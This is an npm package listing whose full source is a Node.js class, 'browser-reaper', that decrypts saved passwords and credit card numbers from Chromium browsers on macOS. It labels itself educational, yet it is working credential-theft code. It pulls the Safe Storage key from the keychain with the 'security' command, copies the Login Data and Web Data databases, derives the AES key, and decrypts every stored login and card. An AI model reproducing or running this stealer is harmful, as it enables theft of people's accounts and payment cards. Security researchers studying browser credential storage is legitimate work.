UNPKG

browser-reaper

Version:

A Node.js educational utility for extracting saved passwords and credit card information from Chromium-based browsers on macOS.

137 lines (116 loc) 5.21 kB
import sqlite3 from 'sqlite3'; import { exec } from 'node:child_process'; import { promisify } from 'node:util'; import { createDecipheriv, pbkdf2Sync } from 'node:crypto'; import { copyFileSync, mkdtempSync, rmSync } from 'node:fs'; import { tmpdir } from 'node:os'; import { basename, dirname, join } from 'node:path'; import { glob } from 'glob'; import browserHomes from './browserHomes.mjs'; const execPromise = promisify(exec); export default class BrowserReaper { constructor(browserName = 'chrome') { this.browserName = browserName; this.browser = browserHomes[this.browserName]; if (!this.browser) { console.error(`Browser "${this.browserName}" not supported.`); process.exit(1); } this.loginDataPath = this.browser.loginDataPath; this.ccDataPath = this.browser.ccDataPath; this.browserData = glob.sync(this.loginDataPath).concat(glob.sync(this.ccDataPath)); } async getSafeStorageKey() { try { const { stdout, stderr } = await execPromise(`security find-generic-password -wa '${this.browser.serviceName}'`); if (stderr) throw new Error(stderr); return stdout.trim(); } catch (error) { console.error(`ERROR getting ${this.browser.serviceName} Safe Storage Key: ${error.message}`); process.exit(1); } } decryptData(encrypted, iv, key) { try { const decipher = createDecipheriv('aes-128-cbc', key, Buffer.from(iv, 'hex')); let decrypted = decipher.update(encrypted.slice(3)); decrypted = Buffer.concat([decrypted, decipher.final()]); return decrypted.toString('utf8'); } catch (error) { return 'ERROR retrieving data'; } } async processData(safeStorageKey, dataPath) { const iv = '20202020202020202020202020202020'; const key = pbkdf2Sync(safeStorageKey, 'saltysalt', 1003, 16, 'sha1'); const tempDir = mkdtempSync(join(tmpdir(), `${this.browserName}-`)); const dbCopyPath = join(tempDir, `${this.browserName}.db`); try { copyFileSync(dataPath, dbCopyPath); const db = new sqlite3.Database(dbCopyPath); const sql = dataPath.includes('Web Data') ? 'SELECT name_on_card, card_number_encrypted, expiration_month, expiration_year FROM credit_cards' : 'SELECT username_value, password_value, origin_url FROM logins'; const rows = await new Promise((resolve, reject) => { db.all(sql, [], (err, rows) => (err ? reject(err) : resolve(rows))); }); const decryptedList = []; for (const row of rows) { const encryptedValue = dataPath.includes('Web Data') ? row.card_number_encrypted : row.password_value; if (!encryptedValue || !encryptedValue.includes('v10')) continue; const decrypted = this.decryptData(encryptedValue, iv, key); if (dataPath.includes('Web Data')) { decryptedList.push([row.expiration_year, row.name_on_card, decrypted, row.expiration_month]); } else { decryptedList.push([row.origin_url, row.username_value, decrypted]); } } db.close(); return decryptedList; } finally { rmSync(tempDir, { recursive: true, force: true }); } } firstDigit(ccNum) { return ccNum.toString()[0]; } parseCreditCard([ccYear, ccName, ccNum, ccMonth]) { const ccDict = { 3: 'AMEX', 4: 'Visa', 5: 'Mastercard', 6: 'Discover' }; const ccType = ccDict[this.firstDigit(ccNum)] || 'Unknown Card Issuer'; return { cardType: `${ccType}`, cardName: `${ccName}`, cardNumber: `${ccNum}`, expiration: `${ccMonth}/${ccYear}` }; } parseAccount([link, user, pass]) { return { link, user, pass }; } printAllCards(decryptedList) { console.log(decryptedList.map((value) => this.parseCreditCard(value))); } printAllAccounts(decryptedList) { console.log(decryptedList.map((value) => this.parseAccount(value))); } async extractData() { const safeStorageKey = await this.getSafeStorageKey(); const results = {}; for (const profile of this.browserData) { const profilePath = dirname(profile); const profileName = basename(profilePath); if (!results[profileName]) { results[profileName] = { accounts: [], cards: [] }; } const decryptedList = await this.processData(safeStorageKey, profile); if (profile.includes('Web Data')) { results[profileName].cards = decryptedList.map(value => this.parseCreditCard(value)); } else { results[profileName].accounts = decryptedList.map(value => this.parseAccount(value)); } } return results; } }